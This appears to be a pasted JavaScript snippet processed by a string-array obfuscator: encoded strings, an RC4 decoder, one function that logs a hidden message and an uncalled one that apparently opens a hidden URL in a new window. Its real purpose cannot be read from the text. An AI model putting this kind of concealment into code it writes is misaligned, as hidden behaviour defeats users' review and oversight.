· 5 years ago · Sep 01, 2020, 08:48 PM
1'use strict';
2/** @type {!Array} */
3var _0x3c26 = ["WQxcIZHqW6K=", "W7aetW==", "W7jVqSoGW5K=", "i8kRW70W", "WRbghd3dRq==", "W6/dUIxdRry=", "W4RdNdxdT1O=", "W5ygWPlcJ2m=", "BvyodGK=", "W7aCWOe3WRu=", "eMlcLre=", "WOZdI8ozyCom", "W4ZcPgpcG0O=", "kmoUW71U", "hb5rWOz2", "W4FdOJbuWPu=", "B0ZdLr1z", "WOJdHCo6q8o8", "W7DQW4nRdq==", "D0LRomk/", "AeX1nmkL", "W4nBugj7", "p3HjWQ8="];
4(function(data, i) {
5 /**
6 * @param {number} isLE
7 * @return {undefined}
8 */
9 var write = function(isLE) {
10 for (; --isLE;) {
11 data["push"](data["shift"]());
12 }
13 };
14 write(++i);
15})(_0x3c26, 89 * 86 + 2614 + -9815);
16/**
17 * @param {string} index
18 * @param {string} coef
19 * @return {?}
20 */
21var _0x4bea = function(index, coef) {
22 /** @type {number} */
23 index = index - (89 * 86 + 2614 + -10268);
24 var value = _0x3c26[index];
25 if (_0x4bea["kbEGMy"] === undefined) {
26 /**
27 * @param {!Object} obj
28 * @return {?}
29 */
30 var getOwnPropertyNames = function(obj) {
31 /** @type {string} */
32 var listeners = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
33 var str = String(obj)["replace"](/=+$/, "");
34 /** @type {string} */
35 var props = "";
36 /** @type {number} */
37 var bc = -3455 + 3 * 2733 + -8 * 593;
38 var bs;
39 var buffer;
40 /** @type {number} */
41 var i = -6222 + -6903 + 175 * 75;
42 for (; buffer = str["charAt"](i++); ~buffer && (bs = bc % (9630 + 2487 * -3 + 1 * -2165) ? bs * (1971 + -1071 + -836) + buffer : buffer, bc++ % (-2 * 1801 + 84 * -39 + -74 * -93)) ? props = props + String["fromCharCode"](5240 + -6123 + 1138 & bs >> (-(450 * 1 + -6256 + -264 * -22) * bc & -497 * 5 + 1871 * -2 + 271 * 23)) : -5628 * 1 + 1171 * 1 + -1 * -4457) {
43 buffer = listeners["indexOf"](buffer);
44 }
45 return props;
46 };
47 /**
48 * @param {!Object} data
49 * @param {!Object} fn
50 * @return {?}
51 */
52 var testcase = function(data, fn) {
53 /** @type {!Array} */
54 var secretKey = [];
55 /** @type {number} */
56 var y = -43 * -52 + -3 * -1606 + 7054 * -1;
57 var temp;
58 /** @type {string} */
59 var testResult = "";
60 /** @type {string} */
61 var tempData = "";
62 data = getOwnPropertyNames(data);
63 /** @type {number} */
64 var val = -3504 + 4 * 1094 + -872;
65 var key = data["length"];
66 for (; val < key; val++) {
67 /** @type {string} */
68 tempData = tempData + ("%" + ("00" + data["charCodeAt"](val)["toString"](451 * 3 + -339 * 2 + -659))["slice"](-(-742 + 2 * -520 + 1 * 1784)));
69 }
70 /** @type {string} */
71 data = decodeURIComponent(tempData);
72 var x;
73 /** @type {number} */
74 x = 2 * 4501 + -12 * 128 + 7466 * -1;
75 for (; x < -2 * 714 + -1862 * -2 + -2040; x++) {
76 /** @type {number} */
77 secretKey[x] = x;
78 }
79 /** @type {number} */
80 x = -1591 + 4022 + -2431;
81 for (; x < -566 * 7 + 9192 + -1 * 4974; x++) {
82 /** @type {number} */
83 y = (y + secretKey[x] + fn["charCodeAt"](x % fn["length"])) % (-307 * 8 + 3776 + 7 * -152);
84 temp = secretKey[x];
85 secretKey[x] = secretKey[y];
86 secretKey[y] = temp;
87 }
88 /** @type {number} */
89 x = 4762 * 1 + -558 + -1051 * 4;
90 /** @type {number} */
91 y = -2626 + -1 * 1905 + -23 * -197;
92 /** @type {number} */
93 var i = 6327 + 4948 + -205 * 55;
94 for (; i < data["length"]; i++) {
95 /** @type {number} */
96 x = (x + (-32 * -268 + 45 * -17 + -7810)) % (4689 + 53 * -98 + 761 * 1);
97 /** @type {number} */
98 y = (y + secretKey[x]) % (7063 + -827 * -3 + -9288);
99 temp = secretKey[x];
100 secretKey[x] = secretKey[y];
101 secretKey[y] = temp;
102 testResult = testResult + String["fromCharCode"](data["charCodeAt"](i) ^ secretKey[(secretKey[x] + secretKey[y]) % (-3503 * 2 + 1 * -4506 + 11768)]);
103 }
104 return testResult;
105 };
106 /** @type {function(!Object, !Object): ?} */
107 _0x4bea["YXkLjt"] = testcase;
108 _0x4bea["vnEzVp"] = {};
109 /** @type {boolean} */
110 _0x4bea["kbEGMy"] = !![];
111 }
112 var newValue = _0x4bea["vnEzVp"][index];
113 return newValue === undefined ? (_0x4bea["QMrnIl"] === undefined && (_0x4bea["QMrnIl"] = !![]), value = _0x4bea["YXkLjt"](value, coef), _0x4bea["vnEzVp"][index] = value) : value = newValue, value;
114};
115/**
116 * @return {undefined}
117 */
118function _0x285d25() {
119 var brie = {};
120 brie[_0x4bea("0x10", "XgDE") + _0x4bea("0xa", "rZoa")] = _0x4bea("0x1", "&Mz$") + _0x4bea("0x9", "m01M") + _0x4bea("0x2", "1y#6") + _0x4bea("0xc", "ySdT") + _0x4bea("0xf", "viAL") + _0x4bea("0x0", "X[6a");
121 var trace = brie;
122 console[_0x4bea("0x8", "!mFX")](trace[_0x4bea("0x15", "1hTQ") + _0x4bea("0x6", "OH0X")]);
123}
124/**
125 * @return {undefined}
126 */
127function _0x46c2d2() {
128 var ids = {};
129 /** @type {string} */
130 ids[_0x4bea("0x5", "!mFX") + _0x4bea("0x11", "e]Fc")] = _0x4bea("0x13", "GyDD") + "k";
131 var _slotNums = ids;
132 window[_0x4bea("0x14", "rZoa")](_0x4bea("0xe", "ixlr") + _0x4bea("0xb", "[E@G") + _0x4bea("0x7", "IoOX") + _0x4bea("0xd", "kuX6") + _0x4bea("0x4", "8WsM") + _0x4bea("0x3", "8WsM") + _0x4bea("0x12", "&Mz$"), _slotNums[_0x4bea("0x16", "^3o2") + _0x4bea("0x11", "e]Fc")]);
133}
134_0x285d25();
135